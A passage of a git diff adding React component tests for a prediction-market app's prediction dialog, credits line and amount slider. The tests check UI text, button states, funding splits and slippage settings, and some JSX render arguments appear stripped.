(isReadOnly) => { + renderReturning({ isReadOnly }); + + expect(screen.getByText("You've predicted before, so you can change it without adding funds.")).toBeInTheDocument(); + }); +}); + +describe("Max", () => { + it("is offered beside a balance, and held while a run is locked", () => { + renderReturning({ isReadOnly: true }); + + expect(screen.getByRole("button", { name: "Max" })).toBeDisabled(); + }); + + it.each([ + ["a stored run's note", { note: "What this run started with." }], + ["no wallet", { isDisconnected: true }], + ])("is not offered with %s in place of a balance", (_, extra) => { + renderReturning(extra); + + // jsdom computes no Tailwind, so the hidden button is read from its class + const max = screen.getByRole("button", { name: "Max" }); + expect(max).toBeDisabled(); + expect(max.classList.contains("invisible")).toBe(true); + }); +}); + +describe("the share slider", () => { + it.each([true, false])("says its share beside the track, locked or not (locked: %s)", (isReadOnly) => { + render( + , + ); + + expect(screen.getByTestId("amount-share")).toHaveTextContent(/^50%$/); + }); +}); + +describe("the share slider by keyboard", () => { + it("steps the amount up from the arrow keys", async () => { + const onAmountChange = renderSection(sDai, 10n * WAD); + + screen.getByRole("slider").focus(); + await userEvent.keyboard("{ArrowRight}"); + + expect(lastAmount(onAmountChange)).toBe(WAD / 10n); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/PredictCreditsLine.test.tsx b/apps/web/src/features/predict/components/__tests__/PredictCreditsLine.test.tsx new file mode 100644 index 00000000..1e244842 --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/PredictCreditsLine.test.tsx @@ -0,0 +1,130 @@ +import { fireEvent, render, screen } from "@testing-library/react"; +import { parseUnits } from "viem"; +import { describe, expect, it, vi } from "vitest"; + +import type { CreditsHeld } from "@/lib/trade-executor/credits"; + +import { creditLines, creditsOffer } from "../../utils/credits"; +import { planFunding } from "../../utils/funding"; +import { PredictAmountSection, type PayTokenChoice } from "../PredictAmountSection"; + +const WAD = 10n ** 18n; +const sDai: PayTokenChoice = { id: "collateral", symbol: "sDAI", decimals: 18 }; + +/** The amount panel for a visitor with 19 sDAI of their own and `held` credits. */ +function renderLine(held: CreditsHeld, options: { isUsing?: boolean; isReadOnly?: boolean; amount?: bigint } = {}) { + const { isUsing = true, isReadOnly = false, amount } = options; + const offer = creditsOffer(held); + const funding = planFunding({ + amount: amount ?? 0n, + ownWallet: 19n * WAD, + tradeWallet: 0n, + credits: isUsing ? creditLines(held, offer) : [], + }); + const onAmountChange = vi.fn(); + const onUsingChange = vi.fn(); + render( + , + ); + return { onAmountChange, onUsingChange }; +} + +const tick = () => screen.getByRole("checkbox", { name: "Use Foresight credits" }); +const useMax = () => screen.getByRole("button", { name: "Max credits", hidden: true }); +const note = () => screen.getByTestId("credits-note"); + +describe("the credits line", () => { + it("is absent for a visitor with no credits worth offering", () => { + renderLine({ wallet: WAD / 200n, tradeWallet: 0n, manager: 1000n * WAD }); + + expect(screen.queryByTestId("credits-line")).toBeNull(); + }); + + it("is ticked with Max credits when the manager covers every credit, and says how many", () => { + const { onAmountChange } = renderLine({ wallet: 3n * WAD, tradeWallet: 2n * WAD, manager: 1000n * WAD }); + + expect(tick()).toBeChecked(); + expect(tick()).toBeEnabled(); + expect(note()).toHaveTextContent("5 credits available"); + expect(useMax()).toBeEnabled(); + + fireEvent.click(useMax()); + expect(onAmountChange).toHaveBeenLastCalledWith(5n * WAD); + }); + + it("keeps the balance, Max and the slider's share to the visitor's money while the credits are ticked", () => { + const { onAmountChange } = renderLine( + { wallet: 5n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, + { amount: 19n * WAD }, + ); + + expect(screen.getByTestId("balance-figure")).toHaveTextContent("19 sDAI"); + expect(screen.getByTestId("amount-share")).toHaveTextContent("100%"); + fireEvent.click(screen.getByRole("button", { name: "Max" })); + expect(onAmountChange).toHaveBeenLastCalledWith(19n * WAD); + }); + + it("names the credits part of a typed amount", () => { + renderLine({ wallet: 2n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, { amount: 5n * WAD }); + + expect(screen.getByText("≈ 5 sDAI = 2 in credits + 3 from your wallet")).toBeInTheDocument(); + }); + + it("unticked, hides Max credits but keeps its room, and still says what is available", () => { + const { onUsingChange } = renderLine( + { wallet: 5n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, + { isUsing: false }, + ); + + expect(tick()).not.toBeChecked(); + expect(useMax()).toBeDisabled(); + expect(useMax().className).toContain("invisible"); + expect(note()).toHaveTextContent("5 credits available"); + + fireEvent.click(tick()); + expect(onUsingChange).toHaveBeenLastCalledWith(true); + }); + + it("when the manager is short, says how many are usable now and Max credits takes only those", () => { + const { onAmountChange } = renderLine({ wallet: 50n * WAD, tradeWallet: 0n, manager: 20n * WAD }); + + expect(tick()).toBeChecked(); + expect(note()).toHaveTextContent("20 of 50 usable now"); + + fireEvent.click(useMax()); + expect(onAmountChange).toHaveBeenLastCalledWith(20n * WAD); + }); + + it("when the manager is empty, offers no tick, says none of them is usable and asks for the visitor's own money", () => { + renderLine({ wallet: 5n * WAD, tradeWallet: 0n, manager: 0n }); + + expect(screen.queryByRole("checkbox")).toBeNull(); + expect(useMax()).toBeDisabled(); + expect(screen.getByText("Foresight credits")).toBeInTheDocument(); + expect(note().textContent).toBe("None usable now. Use your own funds."); + }); + + it("when the manager is empty, says the same words for any holding, so a large one is not cut", () => { + renderLine({ wallet: parseUnits("36680.1234", 18), tradeWallet: 0n, manager: 0n }); + + expect(note().textContent).toBe("None usable now. Use your own funds."); + }); + + it("is locked with the rest of the form while a run holds it", () => { + renderLine({ wallet: 5n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, { isReadOnly: true }); + + expect(tick()).toBeDisabled(); + expect(useMax()).toBeDisabled(); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/PredictDialog.test.tsx b/apps/web/src/features/predict/components/__tests__/PredictDialog.test.tsx new file mode 100644 index 00000000..ac4760ec --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/PredictDialog.test.tsx @@ -0,0 +1,1495 @@ +import { render, screen, waitFor, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, expect, it, vi } from "vitest"; + +import { SHOWN } from "@/test/queries"; +import type { OptionScale } from "@/types/optionScale"; + +import type { SelectedEstimate } from "../../types"; +import { planFunding, type Funding } from "../../utils/funding"; +import { fundsToAdd, predictSteps, type PredictSteps } from "../../utils/predictSteps"; +import type { SlippageSettings } from "../../utils/slippage"; +import { PredictDialog } from "../PredictDialog"; + +const scale = (market: string, name: string): OptionScale => ({ + market: market as `0x${string}`, + name, + color: "#009aff", + unit: "$M", + lowerBound: 0, + upperBound: 500, +}); + +const GERWIG = "0xcccccccccccccccccccccccccccccccccccccccc"; +const COOGLER = "0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; +const WAD = 10n ** 18n; + +const selected: SelectedEstimate[] = [ + { scale: scale(GERWIG, "Greta Gerwig"), value: 400, marketEstimate: 312, direction: "higher" }, + { scale: scale(COOGLER, "Ryan Coogler"), value: 200, marketEstimate: 296, direction: "lower" }, +]; + +const sDai = { id: "collateral" as const, symbol: "sDAI", decimals: 18 }; + +const funding = (overrides: Partial = {}): Funding => ({ + available: 25n * WAD, + collateralIn: 10n * WAD, + creditsAvailable: 0n, + credits: [], + creditsIn: 0n, + tradeWallet: 6n * WAD, + fromTradeWallet: 6n * WAD, + toAdd: 4n * WAD, + deposit: 4n * WAD, + ...overrides, +}); + +const steps: PredictSteps = { + rows: [ + { key: "wallet", title: "Create a trade wallet", subtitle: "", view: "idle" }, + { key: "funds", title: "Add funds", subtitle: "4 sDAI", view: "idle" }, + { key: "predict", title: "Place prediction", subtitle: "", view: "idle" }, + ], +}; + +/** Before the run's first step, while its routes are priced. */ +const pricing = predictSteps({ + wallet: { address: "0xdcee0000000000000000000000000000000c664f", deployed: false }, + toAdd: 4n * WAD, + symbol: "sDAI", + decimals: 18, + progress: { + stage: "quoting", + steps: [ + { id: "create-wallet", label: "", state: "pending" }, + { id: "deposit", label: "", state: "pending" }, + { id: "predict-1", label: "", state: "pending" }, + ], + leftOut: [], + batchesDone: 0, + batches: 1, + }, +}); + +const subtitleOf = (title: string) => + screen.getByRole("listitem", { name: `Timeline item: ${title}` }).querySelector("h2 + p")?.textContent ?? ""; + +const props = () => ({ + isOpen: true, + onClose: vi.fn(), + selected, + onRemove: vi.fn(), + amount: (10n * WAD) as bigint | undefined, + onAmountChange: vi.fn(), + tokens: [sDai], + token: sDai, + onTokenChange: vi.fn(), + funding: funding() as Funding | null, + collateral: { symbol: "sDAI", decimals: 18 }, + optionNoun: "director", + isFirstPrediction: true, + steps, + leftOut: 0, + isRunning: false, + canRetry: false, + slippage: { settings: { tradeBps: null, creditsBps: null } as SlippageSettings, onChange: vi.fn() }, + pricesReady: true, + onPredict: vi.fn(), +}); + +/** A visitor holding credits they are spending. */ +const withCredits = { + credits: { + offer: { state: "usable" as const, held: 4n * WAD, usable: 4n * WAD }, + isUsing: true, + onUsingChange: vi.fn(), + }, +}; + +/** A credits swap of 100 credits paying 87 xDAI against 125 of vault value. */ +const lossySwap = { + credits: 100n * WAD, + preview: { + amount: 87n * WAD, + creditsBps: 20, + quoted: 87n * WAD, + vaultValue: 125n * WAD, + floor: 86n * WAD, + loss: 38n * WAD, + minted: 69n * WAD, + }, +}; + +const MOVED = { markets: 1, credits: false }; + +const summaryHead = () => within(screen.getByTestId("predict-summary")).getAllByRole("button")[0]!; + +describe("the estimates going in", () => { + it("says where each market would move, once the summary is opened", async () => { + render(); + const markets = () => screen.queryByRole("list", { name: "Markets" }); + expect(markets()).toBeNull(); + + await userEvent.click(summaryHead()); + + expect( + within(markets()!) + .getAllByTestId("market-move") + .map((move) => move.textContent), + ).toEqual(["312 → 355 $M", "Now 296 $M"]); + }); + + it("marks the mint as an estimate when paying in xDAI", async () => { + const xDai = { id: "native" as const, symbol: "xDAI", decimals: 18 }; + render(); + + await userEvent.click(summaryHead()); + + expect(screen.getByTestId("trade-mint")).toHaveTextContent(/^Mint≈ 10 sDAI → ≈ 10 tokens of every director$/); + }); + + it("says where the market stays, not a move too small to show", async () => { + render(); + + await userEvent.click(summaryHead()); + + expect(screen.getAllByTestId("market-move")[0]).toHaveTextContent(/^Stays at 312 \$M$/); + }); + + it("lists each estimate with which way it moves the market", () => { + render(); + + expect(screen.getByText("Greta Gerwig", SHOWN)).toBeInTheDocument(); + expect(screen.getByText("400 $M")).toBeInTheDocument(); + expect(screen.getByRole("img", { name: "above the market" })).toBeInTheDocument(); + expect(screen.getByRole("img", { name: "below the market" })).toBeInTheDocument(); + expect(screen.queryByText(/than the market/)).toBeNull(); + }); + + it("counts the estimates beside the title", () => { + render(); + + expect(screen.getByText("2 estimates")).toBeInTheDocument(); + }); + + it("drops an estimate the visitor takes out here", async () => { + const onRemove = vi.fn(); + render(); + + await userEvent.click(screen.getByRole("button", { name: "Remove Greta Gerwig" })); + + await waitFor(() => expect(onRemove).toHaveBeenCalledWith(GERWIG)); + }); + + it("keeps the last estimate in", () => { + render(); + + expect(screen.queryByRole("button", { name: /Remove/ })).toBeNull(); + }); +}); + +describe("the amount behind them", () => { + it("counts the trade wallet into the balance", () => { + render(); + + expect(screen.getByTitle("Balance: 25 sDAI")).toBeInTheDocument(); + }); + + it("says once what the total is and where it comes from", () => { + render(); + + expect(screen.getByText("10 sDAI = 6 in your trade wallet + 4 from your wallet")).toBeInTheDocument(); + }); + + it("fills the whole balance on Max", async () => { + const onAmountChange = vi.fn(); + render(); + + await userEvent.click(screen.getByRole("button", { name: "Max" })); + + expect(onAmountChange).toHaveBeenCalledWith(25n * WAD); + }); + + it("refuses an amount larger than the balance", () => { + render(); + + expect(screen.getByText("Not enough balance. Max 25 sDAI.")).toBeInTheDocument(); + expect(screen.queryByText(/26 sDAI/)).toBeNull(); + expect(screen.getByRole("button", { name: "Predict" })).toBeDisabled(); + }); + + it.each([ + ["an empty balance", 0n, "Balance: 0 sDAI"], + ["a balance under the last shown decimal", WAD / 100_000n, "Balance: less than 0.0001 sDAI"], + ])("names no Max over %s", (_name, available, balance) => { + render(); + + expect(screen.getByTitle(balance)).toHaveTextContent(balance); + expect(screen.getByText("Not enough balance.")).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Max" })).toBeDisabled(); + }); + + it("does not ask for more money while a stopped run waits on the amount it started with", () => { + render(); + + expect(screen.queryByText(/Not enough balance/)).toBeNull(); + expect(screen.getByRole("button", { name: "Try the rest" })).toBeEnabled(); + }); + + it("says a returning visitor's prediction adds nothing when no amount is typed", () => { + render(); + + expect(screen.getByText("You've predicted before, so you can change it without adding funds.")).toBeInTheDocument(); + }); + + it("does not call a balance it has not read yet zero", () => { + render(); + + expect(screen.getByText("Reading balance…")).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Predict" })).toBeDisabled(); + }); + + it("asks for extra funds once the visitor has predicted before, its summary line saying they are optional", () => { + render(); + + expect(screen.getByRole("heading", { name: "Extra funds" })).toBeInTheDocument(); + expect(screen.queryByRole("heading", { name: "You pay" })).toBeNull(); + expect(screen.getByText(/without adding funds/)).toBeInTheDocument(); + expect(screen.queryByText("optional")).toBeNull(); + }); + + it("offers no Max with nothing to spend", () => { + render(); + + expect(screen.getByRole("button", { name: "Max" })).toBeDisabled(); + }); + + it("will not predict with nothing behind a first prediction", () => { + render(); + + expect(screen.getByRole("button", { name: "Predict" })).toBeDisabled(); + }); + + it("lets a returning visitor move their prediction without adding anything", async () => { + const onPredict = vi.fn(); + render( + , + ); + + await userEvent.click(screen.getByRole("button", { name: "Predict" })); + + expect(onPredict).toHaveBeenCalled(); + }); +}); + +describe("predicting", () => { + it("shows the steps before anything is signed", () => { + render(); + + expect(screen.getByText("Create a trade wallet")).toBeInTheDocument(); + expect(subtitleOf("Add funds")).toBe("4 sDAI"); + expect(screen.getByText("Place prediction")).toBeInTheDocument(); + }); + + it("starts the run on Predict", async () => { + const onPredict = vi.fn(); + render(); + + await userEvent.click(screen.getByRole("button", { name: "Predict" })); + + expect(onPredict).toHaveBeenCalled(); + }); + + it("asks for what is missing before it can predict", () => { + render(); + + expect(screen.getByRole("status")).toHaveTextContent("Switch to Gnosis to predict."); + expect(screen.getByRole("button", { name: "Predict" })).toBeDisabled(); + }); + + it("shows no disclaimer about how far the market moves", () => { + render(); + + expect(screen.queryByText(/pool fee/)).toBeNull(); + }); + + it("offers no way out part way through, which would abandon work already on chain", async () => { + const onClose = vi.fn(); + render(); + + expect(screen.getByRole("button", { name: "Close" })).toBeDisabled(); + await userEvent.keyboard("{Escape}"); + expect(onClose).not.toHaveBeenCalled(); + expect(screen.queryByRole("button", { name: "Cancel" })).toBeNull(); + for (const remove of screen.getAllByRole("button", { name: /Remove/ })) expect(remove).toBeDisabled(); + }); + + it("lets a run whose transaction is stored as sent be closed while it confirms, as recovery picks it up", async () => { + const onClose = vi.fn(); + render(); + + await userEvent.click(screen.getByRole("button", { name: "Close" })); + expect(onClose).toHaveBeenCalledOnce(); + await userEvent.keyboard("{Escape}"); + expect(onClose).toHaveBeenCalledTimes(2); + }); + + it("says why a run stopped, and lets Predict pick it up again", async () => { + const onPredict = vi.fn(); + render( + , + ); + + expect(screen.getByRole("status")).toHaveTextContent("You declined in your wallet."); + await userEvent.click(screen.getByRole("button", { name: "Predict" })); + expect(onPredict).toHaveBeenCalled(); + }); + + it("offers to check a sent transaction that has not confirmed, not to try the rest", () => { + render(); + + expect(screen.getByRole("button", { name: "Check again" })).toBeEnabled(); + expect(screen.queryByRole("button", { name: "Try the rest" })).not.toBeInTheDocument(); + }); + + it("asks before a held send is signed again, under its own label, even on a recovered run", async () => { + const onPredict = vi.fn(); + render( + , + ); + + expect(screen.queryByRole("button", { name: "Check again" })).not.toBeInTheDocument(); + expect(screen.queryByRole("button", { name: "Resume" })).not.toBeInTheDocument(); + await userEvent.click(screen.getByRole("button", { name: "Sign again" })); + expect(onPredict).toHaveBeenCalledOnce(); + }); + + it("offers Discard beside Check again where a sent transaction can be let go", async () => { + const onDiscard = vi.fn(); + render(); + + expect(screen.getByRole("button", { name: "Check again" })).toBeEnabled(); + await userEvent.click(screen.getByRole("button", { name: "Discard" })); + expect(onDiscard).toHaveBeenCalledOnce(); + }); + + it("offers the rest of a stopped run on the amount and estimates it started with", async () => { + const onPredict = vi.fn(); + render( + , + ); + + expect(screen.queryByRole("button", { name: "Predict" })).not.toBeInTheDocument(); + for (const remove of screen.getAllByRole("button", { name: /Remove/ })) expect(remove).toBeDisabled(); + expect(screen.getByRole("button", { name: "Max" })).toBeDisabled(); + await userEvent.click(screen.getByRole("button", { name: "Try the rest" })); + expect(onPredict).toHaveBeenCalled(); + }); + + it("does not offer the rest while the wallet is on the wrong network", () => { + render(); + + expect(screen.getByRole("button", { name: "Try the rest" })).toBeDisabled(); + }); + + it("shows a stored run's own deposit in the locked amount form, and offers only Resume", async () => { + const onPredict = vi.fn(); + render( + , + ); + + expect(screen.getByLabelText("Amount")).toHaveValue("7.250000000000000001"); + expect(screen.getByText("Locked to this prediction's amount.")).toBeInTheDocument(); + // the form's balance is in the form's token, not necessarily the stored run's + expect(screen.queryByTitle(/^Balance: /)).toBeNull(); + expect(screen.getByText("410 $M")).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Max" }).classList.contains("invisible")).toBe(true); + expect(screen.queryByRole("button", { name: "Predict" })).not.toBeInTheDocument(); + await userEvent.click(screen.getByRole("button", { name: "Resume" })); + expect(onPredict).toHaveBeenCalled(); + }); + + it("names the sDAI a stored xDAI deposit becomes beside it, and no sDAI figure for an sDAI deposit", () => { + const xDai = { id: "native" as const, symbol: "xDAI", decimals: 18 }; + const { rerender } = render( + , + ); + + expect(screen.getByText("Locked to this prediction's amount; the deposit ≈ 4 sDAI.")).toBeInTheDocument(); + rerender( + , + ); + expect(screen.getByText("Locked to this prediction's amount.")).toBeInTheDocument(); + }); + + it("offers no remove on a stored run's estimates", () => { + render( + , + ); + + expect(screen.queryByRole("button", { name: /Remove/ })).toBeNull(); + }); + + it("will not resume a stored run that cannot be picked up", () => { + render( + , + ); + + expect(screen.getByRole("button", { name: "Resume" })).toBeDisabled(); + }); + + it("says which estimates were left out", () => { + render(); + + expect(screen.getByRole("status")).toHaveTextContent("1 estimate could not be traded."); + }); +}); + +describe("what the funds step says is added", () => { + const xDai = { id: "native" as const, symbol: "xDAI", decimals: 18 }; + const wallet = { address: "0xdcee0000000000000000000000000000000c664f", deployed: true } as const; + + it("names an xDAI payment in xDAI alone", () => { + // 900 xDAI at 1.254273999999999999 xDAI per sDAI is 717.546564785684787149 sDAI + const paid = planFunding({ + amount: 900n * WAD, + ownWallet: 1000n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: 1_254273999999999999n, + }); + const shown = predictSteps({ wallet, ...fundsToAdd(paid, xDai, sDai), progress: null }); + + render( + , + ); + + expect(subtitleOf("Add funds")).toBe("900 xDAI"); + }); + + it("names an sDAI payment in sDAI alone", () => { + const paid = planFunding({ amount: 10n * WAD, ownWallet: 25n * WAD, tradeWallet: 0n }); + const shown = predictSteps({ wallet, ...fundsToAdd(paid, sDai, sDai), progress: null }); + + render(); + + expect(subtitleOf("Add funds")).toBe("10 sDAI"); + }); +}); + +describe("a second prediction the trade wallet already covers", () => { + const nothingToAdd = (symbol: string) => + predictSteps({ + wallet: { address: "0xdcee0000000000000000000000000000000c664f", deployed: true }, + toAdd: 0n, + symbol, + decimals: 18, + progress: null, + }); + + it.each(["sDAI", "xDAI"])("leaves the %s funds step without an amount", (symbol) => { + render( + , + ); + + expect(subtitleOf("Add funds")).toBe(""); + }); +}); + +describe("the dialog's accessible name", () => { + it("says it is the prediction, not the library's default", () => { + render(); + + expect(screen.getByRole("dialog", { name: /predict/i })).toBeInTheDocument(); + expect(screen.queryByRole("dialog", { name: "Modal" })).toBeNull(); + }); +}); + +describe("the header's close button", () => { + it.each([ + ["at rest", {}], + ["after a run stopped", { canRetry: true, steps: { ...steps, failure: "You declined in your wallet." } }], + ["while a sent transaction is unconfirmed", { canRetry: true, isPending: true }], + ])("closes the popup %s", async (_name, state) => { + const onClose = vi.fn(); + render(); + + await userEvent.click(screen.getByRole("button", { name: "Close" })); + + expect(onClose).toHaveBeenCalledTimes(1); + }); + + it("closes on Escape at rest", async () => { + const onClose = vi.fn(); + render(); + + await userEvent.keyboard("{Escape}"); + + expect(onClose).toHaveBeenCalled(); + }); + + it("titles the estimates panel with their count", () => { + render(); + + expect(screen.getByText("1 estimate")).toBeInTheDocument(); + }); +}); + +describe("the button while a run goes", () => { + const running: PredictSteps = { + rows: [ + { key: "wallet", title: "Trade wallet", subtitle: "0xdcee…664f", view: "done" }, + { key: "funds", title: "Add funds", subtitle: "", view: "inactive" }, + { key: "predict", title: "Place prediction", subtitle: "1 of 2 · Confirm in your wallet", view: "running" }, + ], + started: true, + }; + + it("keeps a label, what the run waits on, beside a spinner, and cannot be pressed", () => { + render(); + const button = screen.getByRole("button", { name: "Confirm in your wallet" }); + + expect(button).toBeDisabled(); + expect(within(button).getByText("Confirm in your wallet")).not.toHaveClass("invisible"); + expect(within(button).getByTestId("predict-spinner")).toBeInTheDocument(); + }); + + it("names the trade wallet's setup while that step reads the chain before the wallet opens", () => { + const settingUp = predictSteps({ + wallet: { address: "0xdcee0000000000000000000000000000000c664f", deployed: false }, + toAdd: 4n * WAD, + symbol: "sDAI", + decimals: 18, + progress: { + stage: "quoting", + steps: [ + { id: "create-wallet", label: "", state: "running" }, + { id: "deposit", label: "", state: "pending" }, + { id: "predict-1", label: "", state: "pending" }, + ], + leftOut: [], + batchesDone: 0, + batches: 1, + }, + }); + render(); + + expect(screen.getByRole("button", { name: "Setting up…" })).toBeDisabled(); + }); + + it("goes back to its own label, with no spinner, once the run stops", () => { + const view = render(); + + view.rerender( + , + ); + + expect(screen.getByRole("button", { name: "Try the rest" })).toBeEnabled(); + expect(screen.queryByTestId("predict-spinner")).toBeNull(); + }); +}); + +describe("the summary under the amount", () => { + it("counts the markets this prediction moves", () => { + render( + , + ); + + expect(summaryHead()).toHaveTextContent("2 markets move"); + expect(summaryHead()).toHaveAttribute("aria-expanded", "false"); + }); + + it("says it is checking prices on the summary and the button, with every step still waiting", () => { + render(); + + expect(summaryHead()).toHaveTextContent("Checking prices…"); + expect(screen.getByTestId("pricing-sweep")).toBeInTheDocument(); + expect(document.querySelector(".predict-footer > .predict-cta")).toHaveTextContent("Checking prices…"); + expect(document.querySelector(".predict-footer > .predict-cta")).toHaveAttribute("data-busy", "true"); + expect(subtitleOf("Place prediction")).toBe(""); + }); + + it("leaves a batch quoting mid-run to its step, with the summary and button as they are", () => { + const quoting = predictSteps({ + wallet: { address: "0xdcee0000000000000000000000000000000c664f", deployed: true }, + ...fundsToAdd(funding(), sDai, sDai), + progress: { + stage: "quoting", + steps: [ + { id: "predict-1", label: "", state: "success" }, + { id: "predict-2", label: "", state: "running" }, + ], + leftOut: [], + batchesDone: 1, + batches: 2, + }, + }); + render( + , + ); + + expect(subtitleOf("Place prediction")).toBe("2 of 2 · Checking prices…"); + expect(summaryHead()).toHaveTextContent("1 market moves"); + expect(screen.queryByTestId("pricing-sweep")).toBeNull(); + expect(screen.getByRole("button", { name: "Checking prices…" })).toHaveAttribute("data-busy", "true"); + }); + + it("lists only figures the app computes: the mint and each market's move, and no minimum or time", async () => { + render(); + + await userEvent.click(summaryHead()); + const summary = screen.getByTestId("predict-summary"); + + expect(summaryHead().textContent).toBe("1 market moves"); + expect(screen.getByTestId("trade-mint")).toHaveTextContent(/^Mint10 sDAI → 10 tokens of every director$/); + expect( + within(summary) + .getAllByRole("listitem") + .map((row) => row.textContent), + ).toEqual(["Greta Gerwig312 → 355 $M", "Ryan CooglerNow 296 $M"]); + }); + + it("holds the mint it showed when a run started while the balance refreshes", async () => { + const view = render(); + await userEvent.click(summaryHead()); + + view.rerender(); + view.rerender(); + + expect(screen.getByTestId("trade-mint")).toHaveTextContent("10 sDAI → 10 tokens"); + }); + + it("holds the mint it showed at Predict through moved and the Confirm after it, which sign that funding", async () => { + const view = render(); + await userEvent.click(summaryHead()); + const refreshed = funding({ collateralIn: 3n * WAD }); + + view.rerender(); + view.rerender(); + expect(screen.getByTestId("trade-mint")).toHaveTextContent("10 sDAI → 10 tokens"); + view.rerender(); + + expect(screen.getByTestId("trade-mint")).toHaveTextContent("10 sDAI → 10 tokens"); + }); + + it("mints what the credits swap's floor gives for credits, marked as an estimate", async () => { + const swap = { ...lossySwap, credits: 10n * WAD, preview: { ...lossySwap.preview, minted: 9_974n * 10n ** 15n } }; + render( + , + ); + await userEvent.click(summaryHead()); + + expect(screen.getByTestId("trade-mint")).toHaveTextContent( + /^Mint≈ 9\.974 sDAI → ≈ 9\.974 tokens of every director$/, + ); + }); + + it("names no mint with nothing going in", async () => { + render(); + + await userEvent.click(summaryHead()); + + expect(screen.queryByTestId("trade-mint")).toBeNull(); + }); + + it("names no upcoming mint for a stored run whose first batch settled", async () => { + render( + , + ); + + await userEvent.click(summaryHead()); + + expect(screen.queryByTestId("trade-mint")).toBeNull(); + }); + + it("stays open or closed as the visitor left it, whatever the run does", async () => { + const preview = { [GERWIG.toLowerCase()]: { from: 312, to: 355 } }; + const view = render(); + await userEvent.click(summaryHead()); + + view.rerender(); + expect(summaryHead()).toHaveAttribute("aria-expanded", "true"); + view.rerender(); + expect(summaryHead()).toHaveAttribute("aria-expanded", "true"); + view.rerender( + , + ); + expect(summaryHead()).toHaveAttribute("aria-expanded", "true"); + + await userEvent.click(summaryHead()); + view.rerender(); + expect(summaryHead()).toHaveAttribute("aria-expanded", "false"); + view.rerender( + , + ); + expect(summaryHead()).toHaveAttribute("aria-expanded", "false"); + view.rerender(); + expect(summaryHead()).toHaveAttribute("aria-expanded", "false"); + view.rerender( + , + ); + expect(summaryHead()).toHaveAttribute("aria-expanded", "false"); + }); + + it("can be opened while a run goes, to read the moves it locked with", async () => { + render(); + + await userEvent.click(summaryHead()); + + expect(summaryHead()).toHaveAttribute("aria-expanded", "true"); + }); +}); + +describe("what a run shows while it goes", () => { + it("holds the balance, the funding line and the market moves it locked with", async () => { + const preview = { [GERWIG.toLowerCase()]: { from: 312, to: 355 } }; + const view = render(); + + view.rerender( + , + ); + + expect(screen.getByTitle("Balance: 25 sDAI")).toBeInTheDocument(); + expect(screen.getByText("10 sDAI = 6 in your trade wallet + 4 from your wallet")).toBeInTheDocument(); + await userEvent.click(summaryHead()); + expect(screen.getByText("312 → 355 $M")).toBeInTheDocument(); + }); + + it("reads them again once the run is over", () => { + const view = render(); + + view.rerender(); + + expect(screen.getByTitle("Balance: 30 sDAI")).toBeInTheDocument(); + }); + + it("brings a failure in with the entrance motion", () => { + const view = render(); + expect(within(screen.getByRole("status")).queryByText(/./)).toBeNull(); + + view.rerender(); + + expect(within(screen.getByRole("status")).getByText("You declined in your wallet.")).toBeInTheDocument(); + expect(within(screen.getByRole("status")).getByTestId("status-box")).toHaveClass("fs-enter"); + }); + + it("marks each status with its tone's glyph, and a check in progress with a clock", () => { + const glyph = () => within(screen.getByRole("status")).getByTestId("status-glyph").getAttribute("data-glyph"); + const view = render(); + expect(glyph()).toBe("error"); + + view.rerender(); + expect(glyph()).toBe("waiting"); + expect(screen.getByRole("status")).toHaveAttribute("data-tone", "neutral"); + }); +}); + +describe("the settings", () => { + const gear = () => screen.getByRole("button", { name: "Settings" }); + const panel = () => document.getElementById(gear().getAttribute("aria-controls")!)!; + + it("open over the body from the gear in the header, titled Settings, with the first choice focused", async () => { + render(); + + await userEvent.click(gear()); + + expect(gear()).toHaveAttribute("aria-expanded", "true"); + expect(screen.getByRole("heading", { level: 2, name: "Settings" })).toBeInTheDocument(); + expect(panel()).not.toHaveAttribute("inert"); + expect(within(panel()).getAllByRole("button", { name: "Auto" })[0]).toHaveFocus(); + }); + + it("keep the body out of reach while open", async () => { + render(); + + await userEvent.click(gear()); + + expect(screen.getByTestId("predict-body").closest("[inert]")).not.toBeNull(); + }); + + it("are out of reach while closed", () => { + render(); + + expect(panel()).toHaveAttribute("inert"); + expect(screen.getByTestId("predict-body").closest("[inert]")).toBeNull(); + }); + + it("close on Escape, leaving the popup open and the focus back on the gear", async () => { + const onClose = vi.fn(); + render(); + await userEvent.click(gear()); + + await userEvent.keyboard("{Escape}"); + + expect(gear()).toHaveAttribute("aria-expanded", "false"); + expect(gear()).toHaveFocus(); + expect(onClose).not.toHaveBeenCalled(); + }); + + it("save a custom trade slippage once the field is left, not while it is typed", async () => { + const onChange = vi.fn(); + render(); + await userEvent.click(gear()); + + await userEvent.type(screen.getByRole("textbox", { name: "Max slippage, custom percent" }), "2.5"); + expect(onChange).not.toHaveBeenCalled(); + await userEvent.tab(); + + expect(onChange).toHaveBeenCalledExactlyOnceWith("tradeBps", 250); + }); + + it("save a custom value on Enter", async () => { + const onChange = vi.fn(); + render(); + await userEvent.click(gear()); + + await userEvent.type(screen.getByRole("textbox", { name: "Max slippage, custom percent" }), "3{Enter}"); + + expect(onChange).toHaveBeenCalledExactlyOnceWith("tradeBps", 300); + }); + + it("go back to Auto from the Auto button", async () => { + const onChange = vi.fn(); + render( + , + ); + await userEvent.click(gear()); + const credits = within(document.querySelector('[data-slippage="creditsBps"]')!); + + expect(credits.getByRole("button", { name: "Auto" })).toHaveAttribute("aria-pressed", "false"); + expect(credits.getByRole("textbox")).toHaveValue("0.5"); + await userEvent.click(credits.getByRole("button", { name: "Auto" })); + + expect(onChange).toHaveBeenLastCalledWith("creditsBps", null); + }); + + it("keep an out-of-range entry and its error once the field is left, saving nothing", async () => { + const onChange = vi.fn(); + render(); + await userEvent.click(gear()); + const field = screen.getByRole("textbox", { name: "Max slippage, custom percent" }); + + await userEvent.type(field, "60"); + expect(field).not.toHaveAttribute("aria-invalid"); + await userEvent.tab(); + + 